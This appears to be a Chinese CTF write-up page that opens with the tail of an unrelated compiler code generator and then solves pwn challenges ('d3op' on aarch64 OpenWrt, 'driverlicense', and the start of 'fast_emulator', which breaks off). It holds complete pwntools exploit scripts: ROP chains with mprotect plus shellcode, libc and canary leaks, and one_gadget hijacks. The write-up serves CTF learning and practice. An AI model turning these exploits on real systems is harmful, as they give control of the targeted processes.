if (table.find(str) != table.end()){
/* 如果已经存在寄存器分配,那么直接返回寄存器 */
return "%"+table[str];
}
else{
vector<string> keys;
for (auto &it:table) /* 遍历table的key(已经分配寄存器) */
/* 类似于python的"for i in data" */
keys.emplace_back(it.first); /* 直接在vector尾部创建这个元素 */

for (const auto & reg : regs){ /* 对于所有寄存器 */
if(reg_ok[reg] == 1){ /* 如果寄存器可用 */
table[str] = reg; /* 将可用寄存器分配给该变量,映射关系存到table中 */
reg_ok[reg] = 0; /* 寄存器reg设置为已用 */
return "%"+reg;
}
}

printERR("临时变量个数过多");
}
}

string Get_S(const string& str){
std::regex stack("<+(.*?)>");
std::smatch m;
auto ret = std::regex_search(str,m,stack);
return "-"+m.str(1).erase(0,1)+"(%rbp)";
}

string storage(const string& str){
if(strncmp(str.c_str(),"temp",4)==0){
return Get_R(str);
}
else if(strncmp(str.c_str(),"var",3)==0){
return Get_S(str);
}
}

string translate(string temp_str){ /* 一次只读取一行 */
/* 将每行string按空格存成数组 */
vector<string> line;
string temp_res;
stringstream input(temp_str);
while (input>>temp_res) /* 可以理解为队列,只能从头节点取出值,新数据接在尾节点 */
line.emplace_back(temp_res);

if(line.size()==0){
return " "; /* 规避'\n'的影响 */
}

string temp_return;
if(line[0] == "LABEL"){
return "\taddq $"+func_stack+",%rsp\n\tpopq %rbp\n\tret\n\t.cfi_endproc\n"+line[1]+":";
}
if (line[0] == "RETURN"){
func_argn = 0;
Clean_R();
return "\tmovq "+storage(line[1])+",%rax";
}
if (line[0] == "FUNCTION"){
for (const auto & reg : regs)
reg_ok[reg] = 1;
table.clear();
func_param = 0;
func_stack = line[3];
Clean_R();
return line[1]+":"+"\n\t.cfi_startproc\n\tendbr64\n\tpushq %rbp\n\tmov %rsp,%rbp\n\tsubq $"+func_stack+",%rsp";
}
if (line[1] == ":=") {
if (line.size() == 3){
if (line[2][0] == '#'){
temp_return = "\tmovq $"+line.back().substr(1)+","+Get_R(line[0]);
}
else if (!strncmp(line[2].c_str(),"var",3) && !strncmp(line[0].c_str(),"var",3)){
temp_return = "\tmovq "+storage(line[2])+",";
temp_return += Get_R(line[0])+"\n";
temp_return += "\tmovq "+Get_R(line[0])+",";
temp_return += storage(line[0]);
}
else{
temp_return = "\tmovq ";
temp_return += storage(line[2])+',';
temp_return += storage(line[0]);
}

if(!strncmp(line[0].c_str(),"var",3) && !strncmp(line[2].c_str(),"temp",4)){
Clean_R();
}
return temp_return;
}
if (line.size() == 5){
if (line[3] == "+"){
temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\taddq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\taddq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "-"){
temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\taddq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\tsubq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "*"){
temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\tmulq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\tmulq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "\\"){
temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[2])+",";
temp_return += "%rax";

temp_return += "\n\tdivq ";
temp_return += storage(line.back());

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
}
}
return " ";
}

void write_to_txt(const vector<string>& obj){
ofstream out("./demo.s");
string temp ="\t.globl main\n\t.type main, @function\n";
out<<temp;
for (auto & it:obj)
out<<it<<endl;
out.close();
}

int main(){
for (const auto & reg : regs) //初始化,所有寄存器都可用
reg_ok[reg] = 1;

string filename = "./inter.txt";
string Inter = Load_Inter(filename);//读取中间代码

Load_Var(Inter);//第一遍扫描,记录所有变量
vector<string> obj;
ifstream in(filename);
string temp_line,obj_line;
if(in) {
while (getline(in, temp_line)) {
obj_line = translate(temp_line);
if (obj_line == " ")
continue;
obj.emplace_back(obj_line);
}
} else{
cout<<"file open falied.\n";
}
in.close();
write_to_txt(obj);
return 0;
}
  • 对于局部变量 “var” 需要存放在栈中,对于临时变量 “temp” 需要存放在寄存器中

下个版本打算先实现函数调用

d3op

1
2
3
4
5
6
7
8
9
10
11
12
13
qemu-system-aarch64 \
-m 256M \
-cpu cortex-a57 \
-smp 2\
-M virt \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,net=192.168.1.0/24,hostname=openwrt,hostfwd=tcp:0.0.0.0:9999-192.168.1.1:80 \
-drive file=squashfs-root.img,format=raw,if=virtio \
-nographic \
-kernel Image \
-append 'root=/dev/vda' \
-s \
-no-reboot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
# Copyright (C) 2006 OpenWrt.org
export INITRAMFS=1

# switch to tmpfs to allow run daemons in jail on initramfs boot
DIRS=$(echo *)
NEW_ROOT=/new_root

mkdir -p $NEW_ROOT
mount -t tmpfs tmpfs $NEW_ROOT

cp -pr $DIRS $NEW_ROOT

exec switch_root $NEW_ROOT /sbin/init

说实话本题目有点懵:

1
2
3
4
5
6
7
8
root@(none):/# id
uid=0(root) gid=0(root)
root@(none):/# ls
bin flag lib64 proc sbin usr
dev init mnt rom sys var
etc lib overlay root tmp www
root@(none):/# cat flag
flag{This_is_test_flag}
  • 看到 root 权限后第一反应是 qemu 逃逸(在阿里云CTF的 wee 那里已经吃过亏了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
root@(none):/# lsmod
crc_ccitt 12288 1 ppp_async
libcrc32c 12288 1 nf_tables
nf_conntrack 86016 7 nft_redir,nft_nat,nft_masq,nft_flow_offload,nft_ct,nf_nat,nf_flow_table
nf_defrag_ipv4 12288 1 nf_conntrack
nf_defrag_ipv6 16384 1 nf_conntrack
nf_flow_table 28672 4 nf_flow_table_ipv6,nf_flow_table_ipv4,nf_flow_table_inet,nft_flow_offload
nf_flow_table_inet 12288 0
nf_flow_table_ipv4 12288 0
nf_flow_table_ipv6 12288 0
nf_log_common 12288 2 nf_log_ipv6,nf_log_ipv4
nf_log_ipv4 12288 0
nf_log_ipv6 12288 0
nf_nat 32768 4 nft_redir,nft_nat,nft_masq,nft_chain_nat
nf_reject_ipv4 12288 2 nft_reject_ipv4,nft_reject_inet
nf_reject_ipv6 12288 2 nft_reject_ipv6,nft_reject_inet
nf_tables 147456 24 nft_fib_inet,nf_flow_table_ipv6,nf_flow_table_ipv4,nf_flow_table_inet,nft_reject_ipv6,nft_reject_ipv4,nft_reject_inet,nft_reject,nft_redir,nft_quota,nft_objref,nft_numgen,nft_nat,nft_masq,nft_log,nft_limit,nft_hash,nft_flow_offload,nft_fib_ipv6,nft_fib_ipv4,nft_fib,nft_ct,nft_counter,nft_chain_nat
nfnetlink 12288 1 nf_tables
nft_chain_nat 12288 0
nft_counter 12288 0
nft_ct 16384 0
nft_fib 12288 3 nft_fib_inet,nft_fib_ipv6,nft_fib_ipv4
nft_fib_inet 12288 0
nft_fib_ipv4 12288 1 nft_fib_inet
nft_fib_ipv6 12288 1 nft_fib_inet
nft_flow_offload 12288 0
nft_hash 12288 0
nft_limit 12288 0
nft_log 12288 0
nft_masq 12288 0
nft_nat 12288 0
nft_numgen 12288 0
nft_objref 12288 0
nft_quota 12288 0
nft_redir 12288 0
nft_reject 12288 3 nft_reject_ipv6,nft_reject_ipv4,nft_reject_inet
nft_reject_inet 12288 0
nft_reject_ipv4 12288 0
nft_reject_ipv6 12288 0
ppp_async 16384 0
ppp_generic 36864 3 pppoe,ppp_async,pppox
pppoe 20480 0
pppox 12288 1 pppoe
slhc 16384 1 ppp_generic
  • 看到这么多的内核模块,起初以为是 ARM 内核题目,但使用 find . -regex ".*\.ok" 查找不到内核模块

使用 sudo mount squashfs-root.img rootfs 挂载镜像,发现里面有 www 目录,猜测该程序可能是一个服务器,但不知道从何处入手

漏洞分析

本题目的漏洞在二进制文件 base64 中:

1
2
3
4
5
6
7
8
root@(none):/# ubus call base64 encode '{"input":"aaaaaaaaaa"}'
{
"output": "YWFhYWFhYWFhYQA="
}
root@(none):/# ubus call base64 decode '{"input":"YWFhYWFhYWFhYQ=="}'
{
"output": "aaaaaaaaaa"
}
  • 程序提供了一个 base64 加解密功能,底层使用的文件就是 base64

其漏洞藏在函数 sub_4061AC 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_4061AC(__int64 a1, __int64 a2)
{
int v3; // w0
int v4; // w0
int v5; // w0
int v6; // w0
int v7; // w0
int v8; // w0
int v9; // w0
int v10; // w0
int v11; // w0
int v12; // w0
int v13; // w0
char v16[1028]; // [xsp+28h] [xbp+28h] BYREF /* 栈溢出 */
int v17; // [xsp+42Ch] [xbp+42Ch]
int v18; // [xsp+430h] [xbp+430h]
int v19; // [xsp+434h] [xbp+434h]
int v20; // [xsp+438h] [xbp+438h]
int v21; // [xsp+43Ch] [xbp+43Ch]
unsigned int v22; // [xsp+440h] [xbp+440h]
unsigned int v23; // [xsp+444h] [xbp+444h]
unsigned int v24; // [xsp+448h] [xbp+448h]
unsigned int v25; // [xsp+44Ch] [xbp+44Ch]
  • 栈溢出漏洞

至于程序怎么到达这个函数我不是很清楚,但按照如下 mygdbinit 进行操作就可以到达:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
target remote :1234
set architecture aarch64
set endian little

b* 0x406588
c
set $pc = 0x40658C
b* 0x4065a4
c
set $pc = 0x4065C4
b* 0x406614
c
b* 0x406658
c
set $pc=0x40666C
b* 0x406510
c
set $pc=0x406518
b* 0x406538
c
set $pc=0x406544
si
si
si
b* 0x4061C8
c
b* 0x4064C8
c

此时用于调试的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding:utf-8 -*-
from pwn import *
import base64

arch = 64
challenge = './base64'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='i386'

local = 1
if local:
p = process("qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 ./base64", shell = True)
else:
p = remote('119.13.105.35','10111')

payload =
payload = "{\"input\":\"" + base64.b64encode(payload) + "\"}"

p.sendline(payload)

p.interactive()

然后在两个 shell 中分别执行如下命令,就可以开始调试了:

1
2
python exp.py
gdb-multiarch -q base64 -x mygdbinit

入侵思路

有一个无限栈溢出,于是思路就很简单:

  • 使用一个 ROP 执行 mprotect 修改权限
  • 然后执行 ORW 的 shellcode

本题目的难点在于:

  • 在 ARM 架构下的静态文件中,找下合适的 Gadget

可以在 IDA 中使用 ALT + B 来查找二进制代码:

1682935498666

最开始是想找 csu_gadget,在发现没有后就找了两个和它接近的 gadget:

1
2
3
4
5
6
7
.text:0000000000407380                               loc_407380                              ; CODE XREF: sub_4072F4+D4↓j
.text:0000000000407380 ; sub_4072F4+E4↓j
.text:0000000000407380 F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:0000000000407384 F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:0000000000407388 F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text:000000000040738C FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text:0000000000407390 C0 03 5F D6 RET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:000000000043EAAC                               loc_43EAAC                              ; CODE XREF: sub_43EA60+A0↓j
.text:000000000043EAAC C3 1E 40 F9 LDR X3, [X22,#0x38]
.text:000000000043EAB0 E2 03 14 AA MOV X2, X20
.text:000000000043EAB4 E1 03 15 AA MOV X1, X21
.text:000000000043EAB8 60 00 3F D6 BLR X3
.text:000000000043EAB8
.text:000000000043EABC 1F 00 14 EB CMP X0, X20
.text:000000000043EAC0 C0 00 00 54 B.EQ loc_43EAD8
.text:000000000043EAC0
.text:000000000043EAC4 7F 22 00 B9 STR WZR, [X19,#0x20]
.text:000000000043EAC8 F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text:000000000043EACC F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text:000000000043EAD0 FD 7B C3 A8 LDP X29, X30, [SP+var_s0],#0x30
.text:000000000043EAD4 C0 03 5F D6 RET

这里 gadget 缺少对第一个参数 X0 的控制,因此需要第三个 gadget:

1
2
3
4
5
6
7
.text:000000000041F0C0 E0 03 16 2A                   MOV             W0, W22
.text:000000000041F0C4 F5 5B 42 A9 LDP X21, X22, [SP,#0x80+var_60]
.text:000000000041F0C8 F7 63 43 A9 LDP X23, X24, [SP,#0x80+var_50]
.text:000000000041F0CC F9 6B 44 A9 LDP X25, X26, [SP,#0x80+var_40]
.text:000000000041F0D0 FB 73 45 A9 LDP X27, X28, [SP,#0x80+var_30]
.text:000000000041F0D4 FD 7B C8 A8 LDP X29, X30, [SP+0x80+var_80],#0x80
.text:000000000041F0D8 C0 03 5F D6 RET

拼接这3个 gadget,写出组合函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def ret2csu(func_addr, ret_addr ,arg0, arg1, arg2):
payload = p64(magic_addr1) # x29(start)
payload += "b"*0x20
payload += p64(0)
payload += p64(magic_addr3) # x30
payload += p64(0x4A1F48) # x19
payload += p64(arg2) # x20(x2)
payload += p64(0) # x21
payload += p64(arg0) # x22(x0)
payload += p64(0) # x23
payload += p64(0) # x24
payload += p64(0) # sp
payload += p64(magic_addr2)
payload += "1"*0x10
payload += p64(arg1) # x21(x1)
payload += p64(func_addr-0x38) # x22(x3+0x38)
payload += 'a'*0x8
payload += 'b'*0x8
payload += 'c'*0x8
payload += 'd'*0x8
payload += 'e'*0x8
payload += 'f'*0x8
payload += 'g'*0x8
payload += 'h'*0x8
payload += 'l'*0x8
payload += 'j'*0x8
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
return payload

反复调试校对数据,最终就可以写入最终 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
# -*- coding:utf-8 -*-
from pwn import *
import base64

arch = 64
challenge = './base64'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process("qemu-aarch64 -L /usr/aarch64-linux-gnu -g 1234 ./base64", shell = True)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(str(op))

magic_addr1 = 0x0000000000407380
magic_addr2 = 0x000000000043EAAC
magic_addr3 = 0x000000000041F0C0
bss_addr = 0x4A2098

def ret2csu(func_addr, ret_addr ,arg0, arg1, arg2):
payload = p64(magic_addr1) # x29(start)
payload += "b"*0x20
payload += p64(0)
payload += p64(magic_addr3) # x30
payload += p64(0x4A1F48) # x19
payload += p64(arg2) # x20(x2)
payload += p64(0) # x21
payload += p64(arg0) # x22(x0)
payload += p64(0) # x23
payload += p64(0) # x24
payload += p64(0) # sp
payload += p64(magic_addr2)
payload += "1"*0x10
payload += p64(arg1) # x21(x1)
payload += p64(func_addr-0x38) # x22(x3+0x38)
payload += 'a'*0x8
payload += 'b'*0x8
payload += 'c'*0x8
payload += 'd'*0x8
payload += 'e'*0x8
payload += 'f'*0x8
payload += 'g'*0x8
payload += 'h'*0x8
payload += 'l'*0x8
payload += 'j'*0x8
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
payload += 'k'*0x8
payload += p64(shellcode_addr) # x29
return payload

# unsigned int len; // [xsp+440h] [xbp+440h]
# unsigned int round; // [xsp+444h] [xbp+444h]
# unsigned int idx; // [xsp+448h] [xbp+448h]
# unsigned int v25; // [xsp+44Ch] [xbp+44Ch]

lenn = 0x6cc
idx = p32(0x420)
v25 = p32((3 * (lenn >> 2))-1)
roundd = p32(0x430-3)

mprotect_addr = bss_addr
exit_addr = 0x422D60

shellcode = asm(shellcraft.linux.open("./flag",6))
shellcode += asm(shellcraft.linux.read(5,bss_addr+0x400,0x30))
shellcode += asm(shellcraft.linux.write(1,bss_addr+0x400,0x30))
shellcode += asm(shellcraft.linux.exit(0))

offset = 0x480
shellcode_addr = bss_addr + 0x8
stack_addr = 0x4a0000

paddling = p64(0x423340)+shellcode
paddling = paddling.ljust(0x418,"\x00")
paddling += p32(lenn)
paddling += roundd

payload = paddling + ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7)
print(ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7))
success("paddling_len: "+hex(len(paddling)))
success("ret2csu: "+hex(len(ret2csu(mprotect_addr,shellcode_addr,stack_addr,0x9000,7))))

success("PAYLOAD_decode: "+hex(len(payload)))
success("PAYLOAD_encode: "+hex(len(base64.b64encode(payload))))
success("lenn: " + hex(lenn))
success("roundd: " + hex(u32(roundd)))
success("idx: " + hex(u32(idx)))
success("v25: " + hex(u32(v25)))

payload = "{\"input\":\"" + base64.b64encode(payload) + "\"}"

p.sendline(payload)

p.interactive()

小结:

很久都没有尝试过 ARM 的 ROP 了,通过这个题目复习了一下

driverlicense

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland
1
2
3
4
5
6
driverlicense: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=9037e29de632f174a7c4a576165ac940f38a33c3, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v3 = std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Please input driverlicense information:");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver name >> ");
std::operator>><char>(&std::cin, v14);
std::string::basic_string(v15, v14);
sub_4015F2(comment, v15);
std::string::~string(v15);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver year >> ");
std::istream::operator>>(&std::cin, &key);
sub_40161C((__int64)comment, key);
std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Driver comment >> ");
std::operator>><char>(&std::cin, v14);
std::string::basic_string(v16, v14);
sub_401634((__int64)comment, (__int64)v16);
std::string::~string(v16);
  • cpp 的 cin >> 有一层最基础的逻辑:
    • 先申请固定大小的 chunk,如果写入数据的长度超过了该 chunk,则会释放掉它并申请一个更大的 chunk
    • 如果写入的数据太小,则不会申请 chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall add(__int64 a1)
{
__int64 v1; // rax
void *ptr; // [rsp+10h] [rbp-10h]
size_t size; // [rsp+18h] [rbp-8h]

ptr = (void *)std::string::c_str(a1);
size = malloc_usable_size(ptr);
if ( size )
{
std::operator<<<std::char_traits<char>>(&std::cout, "Input new comment >> ");
return readn((__int64)ptr, size);
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Edit failed.");
return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
  • 程序默认 cin >> 已经创造了 chunk
  • 如果 cin >> 没有创造 chunk,则 std::string::c_str 会获取到栈中的数据,从而造成栈溢出

入侵思路

利用栈溢出就可以覆盖栈上的指针,从而导致任意地址读,于是我们就可以通过 GOT 表完成泄露(需要分多段进行泄露)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
name = "a"*3
sla('Driver name >> ',name)

year = 0x11111111
sla('Driver year >> ',str(year))

comment = "c"*3
sla('Driver comment >> ',comment)

"""
pwndbg> telescope 0x7ffd03424820-0x50
00:0000│ 0x7ffd034247d0 ◂— 0x636363 /* 'ccc' */
01:0008│ 0x7ffd034247d8 —▸ 0x401547 ◂— nop
02:0010│ 0x7ffd034247e0 —▸ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
03:0018│ 0x7ffd034247e8 ◂— 0x3
04:0020│ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
05:0028│ 0x7ffd034247f8 —▸ 0x40155d ◂— pop rbp
06:0030│ 0x7ffd03424800 —▸ 0x7ffd03424810 ◂— 0x616161 /* 'aaa' */
07:0038│ 0x7ffd03424808 ◂— 0x3
"""

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(0x602028))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(0x602028+3))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base += leak_addr << 24
libc_base = libc_base - libc.sym["read"]
success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

比赛时卡在了泄露 canary 这一步,后来经过队友的提醒想起来了通过 libc 泄露 stack 的方法:

  • 通过全局变量 _environ 来泄露栈地址
  • 通过栈地址来泄露 canary
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
environ = libc_base + libc.sym['_environ']
success("environ >> " + hex(environ))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(environ))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
stack = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', "a"*16 + p64(environ+3))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
success("leak_addr >> " + hex(leak_addr))
stack += leak_addr << 24
success("stack >> " + hex(stack))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110+6))
cmd(2)
p.recvuntil("Your name : ")
canary_leak1 = u64(p.recv(3).ljust(8,b'\x00')) << 48
success("canary_leak1 >> " + hex(canary_leak1))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110+3))
cmd(2)
p.recvuntil("Your name : ")
canary_leak2 = u64(p.recv(3).ljust(8,b'\x00')) << 24
success("canary_leak2 >> " + hex(canary_leak2))

cmd(1)
sla('Input new comment >> ',"a"*16 + p64(stack-0x110))
cmd(2)
p.recvuntil("Your name : ")
canary_leak3 = u64(p.recv(3).ljust(8,b'\x00'))
success("canary_leak3 >> " + hex(canary_leak3))

canary = canary_leak1 + canary_leak2 + canary_leak3
success("canary >> " + hex(canary))

最后直接劫持返回地址就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# -*- coding:utf-8 -*-
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
arch = 64
challenge = './driverlicense'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
elf = ELF(challenge)
libc = ELF('libc-2.23.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.31.0.17', 10001)

sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def debug():
gdb.attach(p,"b*0x4011BA")

def cmd(op):
sla('0 : exit\n>> ',str(op))

#debug()

name = "a"*3
sla('Driver name >> ',name)

year = 0x11111111
sla('Driver year >> ',str(year))

comment = "c"*3
sla('Driver comment >> ',comment)

"""
pwndbg> telescope 0x7ffd03424820-0x50
00:0000│ 0x7ffd034247d0 ◂— 0x636363 /* 'ccc' */
01:0008│ 0x7ffd034247d8 —▸ 0x401547 ◂— nop
02:0010│ 0x7ffd034247e0 —▸ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
03:0018│ 0x7ffd034247e8 ◂— 0x3
04:0020│ 0x7ffd034247f0 ◂— 0x7ffd00636363 /* 'ccc' */
05:0028│ 0x7ffd034247f8 —▸ 0x40155d ◂— pop rbp
06:0030│ 0x7ffd03424800 —▸ 0x7ffd03424810 ◂— 0x616161 /* 'aaa' */
07:0038│ 0x7ffd03424808 ◂— 0x3
"""

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(0x602028))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(0x602028+3))
cmd(2)

p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
libc_base += leak_addr << 24
libc_base = libc_base - libc.sym["read"]
success("leak_addr >> " + hex(leak_addr))
success("libc_base >> " + hex(libc_base))

environ = libc_base + libc.sym['_environ']
success("environ >> " + hex(environ))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(environ))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
stack = leak_addr
success("leak_addr >> " + hex(leak_addr))

cmd(1)
sla('Input new comment >> ', b"a"*16 + p64(environ+3))
cmd(2)
p.recvuntil("Your name : ")
leak_addr = u64(p.recv(3).ljust(8,b'\x00'))
success("leak_addr >> " + hex(leak_addr))
stack += leak_addr << 24
success("stack >> " + hex(stack))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+6))
cmd(2)
p.recvuntil("Your name : ")
canary_leak1 = u64(p.recv(3).ljust(8,b'\x00')) << 48
success("canary_leak1 >> " + hex(canary_leak1))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110+3))
cmd(2)
p.recvuntil("Your name : ")
canary_leak2 = u64(p.recv(3).ljust(8,b'\x00')) << 24
success("canary_leak2 >> " + hex(canary_leak2))

cmd(1)
sla('Input new comment >> ',b"a"*16 + p64(stack-0x110))
cmd(2)
p.recvuntil("Your name : ")
canary_leak3 = u64(p.recv(3).ljust(8,b'\x00'))
success("canary_leak3 >> " + hex(canary_leak3))

canary = canary_leak1 + canary_leak2 + canary_leak3
canary &= 0xffffffffffffffff
success("canary >> " + hex(canary))

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[0] + libc_base
cmd(1)
fake_chunk = p64(0)+p64(0x21)+p64(0)+p64(0)
payload = fake_chunk + p64(canary)*7 + p64(one_gadget)
sla('Input new comment >> ',payload)

p.interactive()

fast_emulator

1
2
3
4
5
6
fast_emulator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=847bef575e01063e3c4c97226350955708b76d20, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Partial RELRO,NX,PIE

漏洞分析

1
2
3
4
__int64 __fastcall call_code(__int64 (*a1)(void))
{
return a1();
}
  • 有后门,多半是执行 shellcode
1
2
3
4
5
6
7
8
9
10
